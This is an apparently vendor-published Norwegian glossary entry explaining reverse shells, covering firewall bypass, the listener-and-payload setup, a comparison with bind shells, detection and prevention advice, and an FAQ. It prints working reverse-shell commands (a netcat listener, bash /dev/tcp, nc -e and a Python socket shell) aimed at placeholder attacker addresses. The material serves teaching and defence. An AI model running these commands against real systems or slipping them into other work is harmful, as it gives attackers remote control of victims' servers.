Ordliste Reverse Shell

Omvendt Shell

TL;DR: Omvendt Shell

Et omvendt shell, også kjent som et tilkoblingsshell, er når et kompromittert system kobler seg til angriperen og gir dem en live kommandolinjeøkt.

Hvorfor er dette viktig?

  • Omvendte shell kan omgå brannmurer siden de fleste brannmurer blokkerer innkommende tilkoblinger, men tillater utgående.
  • Angripere får reell kontroll fordi de kan kjøre kommandoer akkurat som om de er logget inn direkte.
  • Omvendte shell er svært vanlige siden de er et standard trinn etter at en angriper har utnyttet et system.

Tenk på det slik: i stedet for at angriperen prøver å komme inn, lurer de serveren til å kontakte dem.

Hva er et Omvendt Shell?

Et omvendt shell er et fjernshell hvor offerets datamaskin starter tilkoblingen til angriperens datamaskin.

Normalt starter datamaskinen din tilkoblingen, som når du besøker en nettside. Med et omvendt shell er dette snudd. Etter at angriperen finner en måte å kjøre kode på, kobler serveren seg tilbake til angriperen.

En enkel måte å huske det på:

  • Bind shell: Du prøver å koble til serveren. Hvis en brannmur blokkerer deg, kan du ikke komme gjennom.
  • Omvendt shell: Serveren kobler seg til deg. Siden utgående tilkoblinger vanligvis er tillatt, kan du svare og ta kontroll.

Hvorfor Omvendte Shell er Viktige

Sikkerhetsteam fokuserer vanligvis på forsvar som brannmurer, lastbalansere og begrensning av porter. Disse fungerer til en angriper klarer å kjøre kode inne i systemet.

Når det skjer, blir det omvendte shellet angriperens hovedmåte å bli værende på.

Hvorfor er dette farlig:

  • Utgående trafikk er betrodd.

    Brannmurer tillater ofte utgående trafikk på porter som 80 eller 443 for oppdateringer og API-er. Reverserte skall kan skjule seg i denne tillatte trafikken.

  • Angripere kan opprettholde tilgang.

    Selv om det opprinnelige sikkerhetshullet er fikset, kan et aktivt skall fortsatt la angripere kontrollere systemet.

  • Det muliggjør lateral bevegelse.

    Med et skall kan angripere se seg rundt i det interne nettverket, stjele passord og bevege seg til andre datamaskiner. Én sårbarhet kan raskt føre til at hele miljøet blir kompromittert.

Hvordan et reversert skall fungerer

Et reversert skall har to hoveddeler: lytteren og nyttelasten.

1. Lytteren (Angriperens side)

Angriperen bruker et program som venter på tilkoblinger. Netcat er et vanlig verktøy for dette.

nc -lvnp 4444

Denne kommandoen forteller angriperens datamaskin å lytte på port 4444 og vente på en tilkobling.

2. Nyttelasten (Offerets side)

Etter å ha funnet en sårbarhet som Remote Code Execution, kjører angriperen en kommando på offerets server for å åpne et skall og sende det tilbake.

bash -i >& /dev/tcp/angriper-ip/4444 0>&1

Denne kommandoen starter et bash-skall og sender all input og output til angriperens datamaskin.

3. Tilkoblingen

Offerets server starter en utgående tilkobling. Brannmuren ser dette som normalt og tillater det. Angriperens lytter aksepterer tilkoblingen, noe som gir angriperen et levende skall på serveren.

På dette stadiet har angriperen full interaktiv kontroll over serveren.

Vanlige eksempler på reverserte skall

Angripere og etiske hackere justerer tilnærmingen sin basert på hvilke verktøy som er tilgjengelige på målsystemet.

Bash (Vanlig på Linux)

bash -i >& /dev/tcp/10.0.0.1/4444 0>&1

Netcat

Brukes når Netcat er tilgjengelig på måldatamaskinen.

nc -e /bin/sh 10.0.0.1 4444

Python

Python er svært vanlig på moderne servere.

python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);'

Reverse Shell vs Bind Shell

Å kjenne forskjellen mellom reverse shells og bind shells hjelper med å forsvare nettverk.

FunksjonBind ShellReverse Shell
TilkoblingsretningAngriper til OfferOffer til Angriper
BrannmurpåvirkningOfte blokkertOfte tillatt
NettverkskravDirekte tilgang nødvendigFungerer gjennom NAT og brannmurer
Typisk brukstilfelleInterne nettverkVirkelige angrep

Hvem bruker Reverse Shells?

  • Penetrasjonstestere bruker reverse shells for å bevise at en sårbarhet kan føre til full systemkompromittering.
  • Red teams bruker reverse shells for å teste hvor godt utgående trafikk kontrolleres.
  • Ondsinnede aktører bruker reverse shells for å distribuere løsepengevirus, stjele data eller bevege seg videre inn i et nettverk.
  • Systemadministratorer bruker sjelden reverse shells for fjernadgang. De foretrekker vanligvis sikre SSH-tunneler.

Deteksjon og Forebygging

Å stoppe reverse shells krever flere lag med forsvar.

  • Utgående trafikkfiltrering

    Servere bør ikke ha åpen tilgang til internett. Begrens hvilke destinasjoner og porter de kan bruke.

  • Atferdsovervåking

    En webserver som starter en skallprosess, som /bin/bash eller cmd.exe, er svært mistenkelig.

  • Reduser angrepsflaten.

    Fjern ubrukte verktøy som Netcat, kompilatorer og ekstra tolker fra produksjonssystemer.

Relaterte Termer

  • Fjernkodeutførelse (RCE)
  • Bind Shell

FAQ: Reverse Shell

Er en reverse shell ulovlig?

Reverse shells er lovlige bare hvis du bruker dem på systemer du eier eller har klar tillatelse til å teste. Å bruke dem uten tillatelse er ulovlig.

Hvorfor tillater brannmurer reverse shells?

Brannmurer er bygget for å blokkere innkommende trusler og stoler vanligvis på utgående trafikk. Reverse shells utnytter dette.

Kan et antivirus oppdage reverse shells?

Noen ganger. Antivirusprogramvare som bruker signaturer kan finne kjente skallprogrammer, men filfrie skall laget med Bash eller Python er mye vanskeligere å oppdage.

Hva er forskjellen mellom en reverse shell og en webshell?

En webshell brukes gjennom en nettleser og forblir vanligvis på systemet, men har begrensede funksjoner. En reverse shell gir en live, interaktiv kommandolinjeøkt.

Neste Steg

Klar til å sikre applikasjonene dine? Velg din vei videre.

Bli med 500+ selskaper som allerede sikrer sine applikasjoner med Plexicus

SOC 2 Compliant
ISO 27001 Certified
Enterprise Ready